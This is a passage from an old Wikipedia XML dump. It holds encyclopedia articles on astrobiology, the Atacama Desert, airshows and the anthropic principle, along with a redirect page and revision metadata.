Most astronomy-related astrobiological research falls into the category of [[extrasolar planet]] (exoplanet) detection, the hypothesis being that if life arose on Earth then it could also arise on other planets with similar characteristics. To that end, a number of instruments designed to detect 'Earth-like' exoplanets are under development, most notably [[NASA]]'s [[Terrestrial Planet Finder]] (TPF) and [[European Space Agency|ESA]]'s [[Darwin (ESA)|Darwin]] programs. A number of less ambitious ground-based efforts are also underway (see [[exoplanet]]).

The goal of these missions is not only to detect Earth-sized planets but also to image them [[spectroscopy|spectroscopically]]. By examining planetary spectra it will be possible to determine the basic composition of an extrasolar planet's atmosphere and surface; given this knowledge, it may be possible to assess the likelihood of life being found on that planet. A NASA research group, the Virtual Planet Laboratory[http://vpl.ipac.caltech.edu] (VPL), is  using computer modelling to generate a wide variety of 'virtual' planets to see what they would look like if viewed by TPF or Darwin. It is hoped that once these missions come online, their spectra can be cross-checked with these 'virtual' planetary spectra for features that might indicate the presence of life.

An estimate for the number of planets with (intelligent) extraterrestrial life can be gleaned from the [[Drake equation]], essentially an equation expressing the probability of intelligent life as the product of factors such as the fraction of planets that might be habitable and the fraction of planets on which life might arise. However, whilst the rationale behind the equation is sound, it is unlikely that the equation will be constrained to reasonable error limits any time soon. The first term, Number of Stars, is generally constrained within a few orders of magnitude.  The second and third terms, Stars with Planets and Planets with Habitable Conditions, are being evaluated for the Sun's neighborhood.  Another associated topic is the [[Fermi paradox]], which suggests that if intelligent life is common in the universe then there should be obvious signs of it. This is the purpose of project like [[SETI]], which tries to detect signs of radio transmissions from intelligent extraterrestrial civilizations.

Another active research area in astrobiology is [[solar system]] formation. It has been suggested that the peculiarities of our solar system (for example, the presence of [[Jupiter (planet)|Jupiter]] as a protective 'shield' or the planetary collision which created the [[Moon]]) may have greatly increased the probability of intelligent life arising on our planet. No firm conclusions have been reached so far.

==== Biology ====

[[Extremophiles]] (organisms able to survive in extreme environments) are a core research element for astrobiologists. Such organisms include [[Biota (ecology)|biota]] able to survive kilometers below the ocean's surface near [[hydrothermal vent|hydrothermal vents]] and [[microbe|microbes]] that thrive in highly acidic environments. Characterization of these organisms&amp;mdash;their environments and their evolutionary pathways&amp;mdash;is considered a crucial component to understanding how life might evolve elsewhere in the universe.

The origin of life, as distinct from the evolution of life, is another ongoing field of research. [[Oparin]] and [[Haldane]] postulated that the conditions on the early Earth were conducive to the formation of organic compounds from inorganic precursors and thus to the formation of many of the chemicals common to all forms of life we see today. The study of this process, known as [[prebiotic chemistry]], has made some progress but it is still unclear whether or not life can have formed in such a manner on Earth. The alternative theory of [[panspermia]] is that the first elements of life may have formed on another planet with even more favourable conditions, and then have been carried over to Earth by a variety of means.

==== Geology ====

The [[fossil record]] provides the oldest known evidence for life on Earth. By examining this evidence, geologists are able to better understand the types of organisms that arose on the early Earth. Some regions on Earth, such as the [[Pilbara]] in [[Western Australia]] are also considered to be geological analogs to regions of Mars and as such might be able to provide clues to possible [[Life on Mars|Martian life]].

== Criticisms ==

Like any emerging scientific field, astrobiology has had to struggle for respectability. While many scientists are enthusiastic about the broad questions involved, there remains concern as to whether astrobiology is distinct enough from its parent disciplines (particularly biology) to constitute a true science. Astrobiology is at present a largely speculative extrapolation of Earth conditions into off-Earth environments. Extremophiles, for example, ''may'' reveal how life has evolved in exotic locales throughout the universe, yet this remains unverified and the study of extremophiles is adequately covered under the rubric of biology. This ambivalent status is reflected by academic acceptance: those interested may specialize in astrobiology as a subset of an established science. Although some have thought a formal degree program in astrobiology unlikely[http://nai.arc.nasa.gov/astrobio/astrobio_detail.cfm?ID=477], the University of Glamorgan, UK, have started just such a degree this year. [http://case.glam.ac.uk/CASE/Degrees/AstroBio.html]

Perhaps a more serious criticism of astrobiology is whether the very act of extrapolating from a single data source is unscientific. At best, this creates tautologies (&quot;Earth-like life will evolve under circumstances which are sufficiently Earth-like for a sufficient period of time&quot;) and at worst it may abrogate critical aspects of the [[scientific method]]. Characterization of non-Earth life is extraordinarily unsettled; hypotheses and predictions as to its existence and origin vary wildly; true astrobiological experiments (with modest exceptions such as the [[ALH84001]] meteorite) simply cannot occur at present. Finally, astrobiology has been criticized for being [[Evolving the Alien|unimaginative]] in the tacit assumption that Earth-like life presents the most likely template for life elsewhere.

==Publications==

[http://www.liebertpub.com/ast Astrobiology], published by Mary Ann Liebert, Inc., is the authoritative peer-reviewed international journal created as a forum for scientists seeking to advance our understanding of life's origin, evolution, and distribution in the universe. &lt;em&gt;Astrobiology&lt;/em&gt; brings together researchers through the dissemination of original research, hypothesis, education articles, and reviews.

== See also ==
* [[Alternative biochemistry]]
* [[Artificial life]]
* [[Astrosociobiology]]
* [[Extraterrestrial life]]
* [[List_of_publications_in_biology#astrobiology|Publications in astrobiology]]
* [[NASA Astrobiology Institute]]
* [[Origin of life]]
* [[Panspermia]]
* [[Planetary habitability]]
* [[SETI]]
* [[Terraforming]]
* [[Xenolinguistics]]
* [[Aurelia]]

== External links ==

* [http://www.astrobiology.co.uk/ Astrobiology@home]
* [http://aca.mq.edu.au/ Australian Centre for Astrobiology]
* [http://www.astrobiology.com/ The Astrobiology Web]
* [http://www.astrobio.net/ Astrobiology Magazine]
* [http://pokey.arc.nasa.gov/~astrochm/LifeImplications.html Possible Connections Between Interstellar Chemistry and the Origin of Life on the Earth]
* [http://nai.arc.nasa.gov/news_stories/news_detail.cfm?ID=207 Scientists Find Clues That Life Began in Deep Space - NASA Astrobiology Institute]
* [http://www.solstation.com/habitable.htm Stars and Habitable Planets]
* [http://www.emse.fr/~yukna/researchers/reddwarf.htm Life Around a Red Dwarf Reading Exercise]
* [http://www.markelowitz.com/exobiology.htm Mark Elowitz's Web site on Exobiology and SETI]
* [http://www.projectrho.com/rocket/rocket3aa.html Let's Build an Extraterrestrial]
* [http://www.ebicom.net/~rsf1/vel/1918.htm Influenza 1918, A Venus Connection?]

[[Category:Astrobiology| ]]
[[Category:Astronomy]]
[[Category:Protoscience]]
[[Category:Science fiction themes]]

{{Astrobiology-footer}}

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    </revision>
  </page>
  <page>
    <title>Atacama</title>
    <id>2788</id>
    <revision>
      <id>41254859</id>
      <timestamp>2006-02-26T02:25:29Z</timestamp>
      <contributor>
        <username>Golbez</username>
        <id>51464</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/68.238.242.131|68.238.242.131]] ([[User talk:68.238.242.131|talk]]) to last version by Golbez</comment>
      <text xml:space="preserve">:''For the politico-administrative region of [[Chile]], see'' [[Atacama Region]].

[[Image:Atacama1.jpg|300px|right|thumb|Atacama]]

The '''Atacama''' [[desert]] of [[Chile]] and [[Peru]] is a virtually rainless [[plateau]] made up of [[salt]] basins (''salares''), sand, and [[lava]] flows, extending from the [[Andes]] mountains to the [[Pacific Ocean]]. 

The average width (east-and-west) is less than 160 kilometers (100 miles) but it extends from the [[Peru|Peruvian]] border 1000 kilometers (600 miles) south to the [[Bolivia]]n [[Altiplano]].  The mountains nearest to the ocean are the Pacific coastal range, with an average elevation of 800 meters (2500 feet). The [[Cordillera Domeyko]], a range of foothills of the [[Andes]] Mountains, lies east.

The Atacama Desert is the driest desert on [[Earth]] (except perhaps for the [[McMurdo Dry Valleys]] in [[Antarctica]]) and is virtually sterile because it is blocked from moisture on both sides by the Andes mountains and by coastal mountains. The average rainfall in [[Antofagasta (region)|Antofagasta]] &amp;mdash; a region in Chile which is part of the Atacama &amp;mdash; is just 3mm per year, and there was a period of time where no rain fell there for 40 years. The Atacama is 15 million years old and 50 times more arid than California's [[Death Valley]]. It is so arid, in fact, that mountains that reach as high as 6885 metres (22590 feet) are completely free of [[glacier]]s and, in the southern part from 25&amp;deg;S to 27&amp;deg;S, have possibly been glacier-free throughout the [[Quaternary]], though [[permafrost]] extends down to an altitude of 4400 metres and is continuous above 5600 metres. The Atacama north of 25&amp;deg;S is arid and receives very little rain. However many locations in the desert receive marine fog, providing sufficient moisture for hypolithic algae, lichens and even cacti. In the region south of Antofagasta the coastal range blocks the marine fog. The crest-line of the coastal range averages 3000 m for about 100 km south of Antofagasta. The driest part of the Atacama is between the coastal mountains and the [[Cordillera Domeyko]], an area called the 'double [[rain shadow]].' In this region, the Andes block moisture from the east, the [[Cordillera Domeyko]] block runoff from the Andes and the Coastal mountains block marine fog from the ocean. The region that is in the &quot;fog shadow&quot; of this high coastal crest-line is the region that contains the driest soils - the soil has been compared to that of Mars.

In 2003, a team of researchers published a report in [[Science magazine]] titled &quot;Mars-like Soils in the Atacama Desert, Chile, and the Dry Limit of Microbial Life&quot; in which they duplicated the tests used by the [[Viking 1]] and [[Viking 2]] [[Mars (planet)|Mars]] landers to detect life, and were unable to detect any signs in Atacama Desert soil. The region may be unique on Earth in this regard and is being used by NASA to test instruments for future Mars missions.  Alonso de Ercilla characterized it in ''La Araucana'', published in 1569: &quot;Towards Atacama, near the deserted coast, you see a land without men, where there is not a bird, not a beast, nor a tree, nor any vegetation&quot; (quoted Braudel 1984 p 388).

The Atacama has rich deposits of [[copper]] and other [[mineral]]s, and the world's largest natural supply of [[sodium nitrate]], which was mined on a large scale until the early [[1940s]]. The [[Atacama border dispute]] between Chile and Bolivia began in the 1800s over these resources.

The Atacama is inhabited, though sparsely populated. The [[Pan-American Highway]] runs through the Atacama. In an [[oasis]], in the middle of the desert, at an [[altitude]] of some 2000 meters, is the village of [[San Pedro de Atacama]]. Its [[church]] was built by the [[Spain|Spanish]] in [[1577]], but archeological evidence indicates that the San Pedro area was the center of a [[Paleolithic]] civilization that built rock fortresses on the steep mountains encircling the valley. The [[Escondida Mine]] and [[Chuquicamata]] are also located within the Atacama.The Atacama Desert of Chile is a sparsely populated virtually rainless plateau, running from the Pacific Ocean to the Andes Mountains. The average width is less than 100 miles but it extends 600 miles south from the Peruvian border. The mountains nearest the ocean are the Pacific coastal range, with an average elevation of 2500 feet. The Cordillera Domeyko, a range of foothills of the Andes Mountains, lies east. The Atacama is made up of salt basins (salars) sand and lava flows. The landscape is so desolate it is sometimes described as &quot;moon like&quot;. In fact the Atacama has been chosen as a good site to test the prototype of a future lunar rover.

The [[European Southern Observatory]] operates two major [[observatory|observatories]] in the Atacama desert:

* The [[La Silla Observatory]]
* The [[Paranal Observatory]], which includes the [[Very Large Telescope]].

==External links==
* [http://amesnews.arc.nasa.gov/releases/2003/03_87AR.html news article on &quot;Mars-like Soils in the Atacama Desert, Chile, and the Dry Limit of Microbial Life&quot;]
* [http://magma.nationalgeographic.com/ngm/0308/feature3/ National Geographic feature about Atacama]
* [http://science.slashdot.org/science/05/03/19/1943236.shtml?tid=216&amp;tid=191&amp;tid=14 Autonomous Robot Finds Life in Atacama Desert]
* [http://news.bbc.co.uk/1/hi/sci/tech/4437153.stm Atacama's Super-Dry History]

==Reference==
*[[Fernand Braudel|Braudel, Fernand]], ''The Perspective of the World,'' vol. III of ''Civilization and Capitalism'' 1984 (in French 1979).

[[Category:Deserts of South America]]
[[Category:Deserts and xeric shrublands]]
[[Category:Neotropic]]
[[Category:Ecoregions of Chile]]
[[Category:Global 200 ecoregions]]
[[Category:Geography of Chile]]
[[Category:Plateaus]]

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  </page>
  <page>
    <title>Alice Sheldon</title>
    <id>2789</id>
    <revision>
      <id>15901180</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[James Tiptree, Jr]]
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  </page>
  <page>
    <title>Airshow</title>
    <id>2790</id>
    <revision>
      <id>41632595</id>
      <timestamp>2006-02-28T17:43:27Z</timestamp>
      <contributor>
        <username>Dave-ros</username>
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      <minor />
      <text xml:space="preserve">[[image:air.show.utterly.arp.500pix.jpg|thumb|right|250px|The UK Utterly Butterly wing-walking display team flying Boeing Stearman PT-17 biplanes]]

An '''airshow''' is an event at which [[aviator]]s display their flying skills and the capabilities of their flying machines, normally to the public, but occasionally to selected invited guests, or employees and their families only. 

Many airshows are held for commercial motives, gaining income from onlookers or from companies hoping to sell [[aircraft]]. Others are held on military bases and are mostly paid for by recruiting budgets, and some are held to raise funds for charities. Usually they are arranged at [[airfield]]s in which case a variety of static aircraft and [[helicopter]]s might also be on view. Less often shows are held over the sea near coastal cities or resorts. Where space allows, other entertainments and market stalls may add to the attractions on offer at an airshow. 

The year's airshow schedule is usually defined during the end of the preceding year. The lineup of pilots and aircraft to be in attendance at each airshow is tentatively determined around February and March, but can change at any time. With a handful of exceptions (such as the mid-winter airshow at [[Marine Corps Air Station Yuma|MCAS Yuma]], AZ), the airshow &quot;season&quot; starts in early spring and ends around mid-fall (mid-autumn). Magazines aimed at aircraft enthusiasts will normally include a list of airshows in their February, March or April editions. Shows at military bases are liable to be cancelled or postponed during periods of international tension. 

Before the second world war, airshows were associated with long distance air races, often lasting many days and covering thousands of miles. While the [[Reno Air Races]] keep this tradition alive, most airshows today primarily feature a series of aerial demos of relatively short duration.

[[Germany]] remains the only nation to ban airshows as a result of a disaster involving an aircraft [[collision]] (See ''[[Ramstein airshow disaster]]'').

==Safety==
Airshows, while spectacular to watch, present an increased risk to both spectators and aviators. Accidents occur, sometimes with a large loss of life, such as the [[Ramstein airshow disaster|1988 disaster at Ramstein Air Base]] in [[Germany]] and the [[Sknyliv (Ukraine) airshow disaster|2002 airshow crash at Lviv]], [[Ukraine]]. Because of these accidents safety regulations govering airshows have become increasingly more defensive.

Airshows usually feature a series of aerial demonstrations that take place over the runway at an airfield, or over the water by a coastal city. At airshows held in US airfields, crowds are restricted from being within 500 feet of the runway, and some aircraft cannot fly within even larger distances of the crowd. While helicopters and slower aircraft may fly at 500 feet from the crowd, faster jets may be required to keep a 1500ft distance except during takeoffs, landings, and a few straight-line passes. Aircraft may only fly over the crowd or at less that 500ft distances if they are flying in a straight line or in a “banana pass”, where the aircraft starts out flying away from the crowd and turns towards the crowd, “cutting the corner” of the area where the crowd is allowed. (If the “banana pass” maneuver must be aborted or if control is lost, the energy of the aircraft will take in a line tangent to the turn, away from spectators).

[[image:frecce.tricolore.fairford.arp.jpg|thumb|left|250px|The Frecce Tricolori aerobatics team of the Italian Air Force, flying at the Royal International Air Tattoo, Fairford, England, in 2005]]

Aerobatic maneuvers may only be performed if the aircraft are not heading towards the crowd. All aerobatic maneuvers must be performed inside the “airshow box”, a rectangular volume of space with the runway at one edge, extending behind the runway and up to a certain altitude over this area. No people are allowed in the airshow box except those assisting the pilot in his or her act (for examples, to hold poles the aircraft flies between, or to drive ground vehicles associated with the aerial act). This means any roads in the airshow box (such as a highway at one end of the airfield) may have to be closed.

During US airshows, helicopters cannot bank or pitch more than 90 degrees (an imaginary line going away from the helicopter perpendicular to the plane of the rotor cannot point below the horizon). Aerobatic pilots earn certificates that initially only allow them to perform aerobatics at higher altitudes, and only with more advanced certificates can all maneuvers be performed near the ground. Formation flying, as well as flying vintage or high-performance aircraft, also requires special training.

These safety restrictions make US airshows very safe. While accidents do happen, spectators are not injured if modern safety rules are followed. Mechanical malfunctions and pilot error (most often a combination of both) are responsible for a handful of airshow accidents every year, but even then, most pilots manage to eject safely or to survive their crashes.

==Attractions==
While some smaller airshows may display only general aviation aircraft, some aerobatic aircraft, and a [[warbird]] or two, most airshows will feature warbirds, aerobats, and demonstrations of modern military aircraft. Helicopter demos are less common, but most airshows will feature at least one helicopter on static display. While some airshows (&quot;Static&quot; airshows) feature primarily aircraft on the ground with the occasional fly-by, most airshows will have some flying being performed for almost the entire duration of the event.

[[Image:red.bull.air.race.arp.750pix.jpg|thumb|right|250px|Air racing at an air show in England: the Red Bull Air Race heat held at Kemble airfield, Gloucestershire. The aircraft fly singly, and have to pass between pairs of pylons]]

Airshows usually open their gates very early, giving spectators a few hours to wonder around the static displays before flying starts in the late morning or early afternoon. Flying usually continues until late afternoon or early evening – later at some airshows, especially evening airshows which may go into the night. In evening airshows, airplanes fly which are especially lit, which release flares or fireworks or other pyrotechnics, or which have bright afterburners. While military installations will usually ask spectators to leave once the flying ends, most airshows that take place in non-military airfields do not. This allows for airshow fans and photographers to watch the aircraft on static display depart the airfield at the end of the day, and to photograph static-display aircraft and/or departing aircraft with sunset lighting, and with fewer people obstructing their shots.

Airplanes used in aerobatic demos have powerful piston engines, light weight, and big control surfaces, making them capable of very high roll rates and accelerations. A skilled pilot will be able to climb vertically, perform very tight turns, tumble his/her aircraft end-over-end, to perform maneuvers during loops, and even to hover his/her aircraft like a helicopter with the nose pointing straight up.

[[Image:F-16 Fighting Falcons above New York City(2).jpg|thumb|left|250px|Six [[F-16 Fighting Falcon]]s of the [[U.S. Air Force]] [[Thunderbirds (squadron)|Thunderbird]]s [[aerobatics]] team fly in [[Delta wing|delta formation]] in front of the [[Empire State Building]] in [[Manhattan]] during an [[air show]].]]
Military jet demos will often focus on the capabilities of the aircraft used in combat operations. The demo will include their very short (and very loud) takeoff rolls, fast speeds, slow approach speeds, as well as their ability to turn tight (in order to evade an enemy, or to turn around for another pass at a ground target) and climb quickly, and their ability to be precisely controlled at a large range of speeds. These are usually the highlight of an airshow – the loud, fast, and exciting demos spectators will remember. This is especially true when national teams perform, such as the Blue Angels and Thunderbirds of the USA, the Snowbirds of Canada, or the European teams such as the Red Arrows, Frecce Tricolori, or Patruille Française. Each team features up to nine agile military jets performing choreographed manoeuvres, often synchronized and in large formations. More often, though, military jet demos feature one single aircraft, usually a strike fighter or an advanced trainer.

Warbird demos allow modern audiences to familiarize themselves with the sights and sounds of aviation as it was two or maybe even three generations ago. These may include limited aerobatics or mock dogfights, but more often consist of a series of straight-line passes made by one or more World-War-2-era aircraft. Many warbird demos will feature large formations of warbirds, as would have been seen during World War 2. Often, the end of a warbird demo will coincide with the beginning of a modern military aircraft demo, and the old aircraft will fly along the new aircraft in what is known as a “Heritage Flight” (US Air Force) or a “Legacy Flight” (US Navy). This is a chance to see the great advances in aviation technology that have been achieved over the past six decades.

Helicopter demos usually focus on the search-and-rescue operations these helicopters are used for – such as lowering a rescuer via a cable, having him attach the rescuee to a harness, and then pulling them back up into the helicopter. Some military helicopters may also drop soldiers or vehicles, and even fire weapons, during these rescue operations. Fire-fighting water-drops are also occasionally included. Alternately, some helicopter demos may show off the agility and maneuverability of the helicopter, and the unique “tricks” it can do - these are usually performed with light two-seater helicopters.

Airshows can also feature air races, skydiving/paragliding demos, skywriting, wingwalking demos, glider demos, hovercraft, replicas of some of the earliest aircraft, new-technology demonstrator prototypes, cargo-transport or even airdrop demos, battlefield simulations (including soldiers, ground vehicles, helicopters, airplanes, and pyrotechnics), fire-fighting aircraft (which drop water or slurry), and remote-controlled aircraft. Interesting ground vehicles, such as vintage cars, race cars, modern muscle cars, military vehicles, and even the occasional jet-powered car or truck, are also often seen at airshows. Sometimes a &quot;race&quot; is staged between a ground vehicle (typically a muscle car or a jet-powered vehicle) and an aircraft (typically a warbird or an aerobatic airplane).

==Historical airshows==
*1909 Reims Air Meet in France in August 1909. A key aviator was [[Glenn Curtiss]] who won the Gordon Bennett Cup. This show inspired [[John Moisant]].
*1910 Dominguez Field, just south of Los Angeles, California from January 10, 1910 to January 20, 1910. Participants included: [[Glenn Curtiss]]; [[Charles Hamilton]]; [[Lincoln Beachey]]; and [[Louis Paulhan]]. The Los Angeles Times called it &quot;one of the greatest public events in the history of the West.&quot;
*1910 Harvard-Boston Aero Meet at the Harvard Aviation Field in [[Atlantic, Massachusetts]], from September 3, 1910 to September 13, 1910. It was the first major air event in the Eastern United States and offered $90,000 in prizes and appearance fees. Participants included: The [[Wright brothers]] and the [[Glenn Curtiss]] exhibition teams; and [[Claude Grahame-White]]. This show inspired: [[Harriet Quimby]]
*1910 Belmont International Aviation Tournament offered approximately $75,000 in prize money. Participants included: Count [[Jacques de Lesseps]]; [[Roland Garros]]; [[Claude Grahame-White]]; [[Glenn Curtiss]]; [[John Moisant]]; [[Arch Hoxsey]]; [[Ralph Johnstone]]; and [[Charles Hamilton]].

== Major airshows ==
*The two largest air and aerospace trade shows are the [[Farnborough Air Show]] ([[Farnborough, Hampshire|Farnborough]], [[England]]), held on even years, and the [[Paris Air Show]] ([[Paris]], [[France]]), held on odd years. In addition to displays for the general public, these two shows have important showcases and display halls for professionnals. They are traditionally one of the occasions when major aerospace players announce deals.
*The third largest airshow, [[Asian Aerospace]], has been held in [[Singapore]] since its inception in 1981, although disagreements over a movement of the exhibition venue will see it move to [[Hong Kong]] in 2008. A new show, the [[Singapore Air Show]], will take its place in Singapore from the same year.
*The world's largest military air show is the [[Royal International Air Tattoo]] (RIAT) ([[RAF Fairford]], [[Gloucestershire]], [[United Kingdom]]), held annually in July.
*The annual [[Oshkosh Airshow]] ([[Oshkosh, Wisconsin]]), organized by the [[Experimental Aircraft Association]], is attended by more people and by more aircraft than any other airshow. The week-long event focuses on experimental aircraft, such as homebuilts and warbirds, but will also feature aerobatics acts, military aircraft, and airliners. The airshow also includes talks by famous or influential people in aviation, as well as a large area with booths where aircraft, aircraft parts, aircraft services, and aircraft memorabilia are sold, advertised, announced, or traded.
*Airshows in the US that display the widest variety of modern military aircraft (helicopters, jet fighters, bombers, cargo aircraft, stealth aircraft, etc) are typically the ones held at [[Nellis AFB]], [[NAS Oceana]], and [[Andrews AFB]]. Each of these features nearly all frontline aircraft in service with the US armed forces, and is held yearly.
*The US airshows with the most numerous and diverse (and often rare) warbirds include the [[Planes of Fame]] airshow at [[Chino, California|Chino]] and the &quot;Thunder Over Michigan&quot; show at [[Willow Run]]. The British equivalents are the airshows held in [[Duxford]]. The Oshkosh airshow, mentioned above, also features a large number and variety of warbirds. All these events are held once a year.
*Airbourne, taking place in [[Eastbourne]] on the south coast of [[England]].

{{expand list}}
*[[Abbotsford International Airshow]] ([[Abbotsford, British Columbia]])
*[[Aero India]] ([[India]])
*The [[Australian International Air Show]] (2005) - &quot;The Shape of Things to Come&quot;.
*[[Berlin Air Show]] - ILA ([[Berlin, Germany]])
*[[Chicago Air &amp; Water Show]] ([[Chicago, Illinois]])
*[[Chino Airshow]] ([[Chino, California]])
*[[Dubai Airshow]] ([[Dubai]])
*[[Edwards AFB Airshow]] ([[Palmdale, California]])
*[[El Centro Airshow]] ([[El Centro, California]])
*[[Flying Legends]] ([[Duxford]], [[United Kingdom]])
*[[Hill AFB Airshow]] ([[Ogden, Utah]])
*[[Inland Northwest Skyfest]] ([[Spokane, Washington]])
*[[Joint Services Open house]] ([[Andrews AFB,Maryland]])
*[[Las Vegas Airshow]] ([[Las Vegas, Nevada]])
*[[Langkawi International Maritime and Aerospace Exhibition]] ([[Langkawi, Malaysia]])
*[[MAKS Airshow]] ([[Moscow]],[[Russia]])
*[[Midland Airshow]] ([[Commemorative Air Force]], [[Midland, Texas]])
*[[Miramar Airshow]] ([[San Diego, California]])
*[[NAS Pensacola Airshow]] ([[Pensacola, Florida]])
*[[Salinas Airshow]] ([[Salinas, California]])
*[[Saskatchewan Airshow]] ([[Moose Jaw, Saskatchewan]])
*[[Seafair]] Airshow ([[Seattle, Washington]])
*[[Selfridge Air National Guard Base]] Airshow ([[Detroit, Michigan]])
*[[Shearwater Airshow]] ([[Shearwater, Nova Scotia]])
*[[Sun 'N Fun]] ([[Lakeland, Florida]])
*[[Warbirds over Wanaka]] ([[Wanaka|Wanaka, New Zealand]])

==Other notable airshows==
*[[Air/Space America 88]] ([[San Diego, California]])
*[[Wings Over Gillespie]] ([[Commemorative Air Force]] static airshow, [[El Cajon, California]])
*[[Northwest EAA Fly-In]] ([[Arlington, Washington]])
*[[Thunder over the Boardwalk]] ([[Atlantic City, New Jersey]])
*[[Royal Air Force|RAF]] [[Leuchars Airshow]]. Held in September in Fife, Scotland

==External links==

*[http://www.airshowstuff.com Airshowstuff.com]
*[http://airshow.aviation.ca Canadian Airshow Resource]
*[http://www.flyawayphotos.com Fly Away Photography]
*[http://www.milaviapress.com/calendar/index.php MilAvia Press Airshow Calendar]
*[http://www.airshows.co.za International Airshows: South Africa Airshows]
*[http://www.stevesairshow.com/ Collection of airshows videos]
*[http://www.sun-n-fun.org/ Sun 'N Fun: EAA's second largest airshow]

[[Category:Airshows|*]]

[[de:Flugschau]]</text>
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  </page>
  <page>
    <title>Anthropic principle</title>
    <id>2792</id>
    <revision>
      <id>41513028</id>
      <timestamp>2006-02-27T21:39:17Z</timestamp>
      <contributor>
        <ip>85.50.227.192</ip>
      </contributor>
      <comment>+iw: ca</comment>
      <text xml:space="preserve">In [[cosmology]], the '''anthropic principle''' in its most basic form states the [[truism]] that any valid theory of the [[universe]] must be consistent with our existence as carbon-based human beings at this particular time and place in the universe. In other words, &quot;If something must be true for us, as humans, to exist, then it is true simply because we exist.&quot; Attempts to apply this principle to develop scientific explanations in [[cosmology]] have led to some confusion and much controversy.

==Origin==

The term &quot;anthropic principle&quot; was first proposed in 1973 by theoretical physicist [[Brandon Carter]] during the [[symposium]] &quot;Confrontation of Cosmological Theories with Observational Data&quot; in [[Kraków]] celebrating [[Copernicus]]&amp;#8217; 500th birthday, as if to proclaim that humanity does hold a special place in the [[universe]] after all. {{fn|(1)}} In his contribution &quot;Large Number Coincidences and the Anthropic Principle in Cosmology&quot; Carter remarks: &quot;Although our situation is not necessarily ''central'', it is inevitably privileged to some extent&quot; (IAUS 63 (1974) 291).

==Proponents and versions==

Proponents of the anthropic principle suggest that we live in a [[fine-tuned universe]], i.e. a universe that appears to be &quot;fine-tuned&quot; to allow the existence of [[life]] as we know it. If any of the [[fundamental physical constant]]s were sufficiently different, then life as we know it would not be possible and no one would be around to contemplate this fine-tuned universe we live in. Papers have been written arguing that the anthropic principle would explain the physical constants such as the [[fine structure constant]], the number of [[dimension]]s in the universe, and the [[cosmological constant]].   

The three primary versions of the principle, as stated by [[John D. Barrow]] and [[Frank J. Tipler]] (1986), are:
* '''Weak anthropic principle (WAP)''': &quot;The observed values of all physical and cosmological quantities are not equally probable but they take on values restricted by the requirement that there exist sites where carbon-based life can evolve and by the requirements that the Universe be old enough for it to have already done so.&quot;
* '''Strong anthropic principle (SAP)''': &quot;The Universe must have those properties which allow life to develop within it at some stage in its history.&quot;
* '''[[Final anthropic principle]] (FAP)''': &quot;Intelligent information-processing must come into existence in the Universe, and, once it comes into existence, it will never die out.&quot;

The weak version has been criticized as an [[argument by lack of imagination]] for assuming no other forms of life are possible (sometimes called ''&quot;carbon chauvinism&quot;'', see also [[alternative biochemistry]]). Furthermore, the range of constants allowing evolution of carbon-based life may be much less restricted than proposed (Stenger, &quot;Timeless Reality&quot;).  The weak anthropic principle has also been cited by both critics and supporters as a [[tautology]].  The strong version is also criticized as being neither testable nor falsifiable, and unnecessary.  The final version is discussed in more detail under [[final anthropic principle]]; Barrow and Tipler state that, although it is  a physical statement, it is nevertheless &quot;closely connected with moral values&quot;.

Proponents of [[intelligent design]] assert support from the anthropic principle. On the other hand, the existence of the [[multiverse]] or [[alternate universe]]s is hypothesized for other reasons and the anthropic principle provides a plausible explanation for the fine tuning of our universe. Assuming some possible universe would be capable of supporting intelligent life, some actual universes must do so, and ours clearly is one of those.  However, alternatives of the intelligent design conjecture are not limited to proposing the existence of alternate universes.  Also, [http://quasar.as.utexas.edu/anthropic.html it has been argued] that the anthropic principle as conventionally stated actually ''undermines'' the intelligent design conjecture (discussed in more detail under [[fine-tuned universe|fine tuning]]). In other words, proponents of [[evolution]] also assert support from the anthropic principle.

== ''The Anthropic Cosmological Principle'' ==

In 1986, the [[controversial book]] ''The Anthropic Cosmological Principle'' by [[John D. Barrow]] and [[Frank J. Tipler]] (Oxford University Press) was published. In this book Barrow, a cosmological scientist, and Tipler, a mathematical physicist, pioneered the '''anthropic principle''' in order to deal with the seemingly incredible coincidences that allow for our presence in a universe that appears to be perfectly set up for our existence. Everything from the particular energy state of the [[electron]] to the exact level of the [[weak nuclear force]] seems to be tailored for us to exist. The existence of carbon-based life in this universe is contingent upon several independent variables; and were any of these variables to take a slightly different value, carbon-based life could not exist.  The anthropic principle implies that our ability to ponder cosmology at all is contingent on ''all'' the correct variables being in place. According to critics, this is simply a [[tautology]], a very elaborate way of saying &quot;if things were different, they would be different&quot;, and that this weak anthropic principle is a truism that says nothing and explains nothing because in order for us to be here to ponder the universe, it had to be such that we can exist. According to [[Peter Schaefer (author)|Peter Schaefer]], that &quot;critics call it a truism&quot; is not a failure of the weak anthropic principle, since how can you refute a statement by saying that it is true? 

Brandon Carter presented his ideas about the anthropic principle in a 1974 publication of the [[International Astronomical Union]]. Later, in 1983, he claimed that, in its original form, the principle was meant only to caution astrophysicists and cosmologists of possible errors in the interpretation of astronomical and cosmological data unless the biological constraints of the observer were taken into account. In 1983 he also included the warning that the inverse was true for evolutionary biologists; Carter claimed that in interpreting the evolutionary record, one must take into account the astrophysical restraints of the process. Working with this in mind, Carter concluded that the evolutionary chain probably could include only one or two highly improbable links given the available time interval. A. Feoli and S. Rampone (&quot;Is the Strong Anthropic Principle Too Weak,&quot; 1999) argued that the estimated size of our universe and number of planets allows a higher bound, indicating no evidence for intelligent design in evolution.

There was renewed scientific interest in the anthropic principle in the late-1990s motivated by observational [[cosmology]] and theoretical work in [[quantum gravity]]. The theoretical work involved attempting to unify gravity with the other forces. While there were a number of promising developments, they all seemed to suffer from the problem that the fundamental physical constants seemed to be unconstrained. The observational motivation came from cosmological observations which gave firm values for quantities such as the matter density of the universe. Contrary to expectations, the value was not one, but 0.3, which is a non-obvious value.

Some alternatives to the anthropic principle do exist, the most optimistic being that a [[Theory of everything]] will ultimately be discovered, uniting all forces in the universe and deriving the properties of all the particles in the universe from scratch. Some candidates include [[M-Theory]] and various theories of [[quantum gravity]], although much of this is speculative. Another possibility is [[Lee Smolin]]'s model of [[Cosmological natural selection]], also known as [[Fecund universes]], which proposes that universes give &quot;offspring&quot; which are more plentiful if they happen to possess features common to our universe.

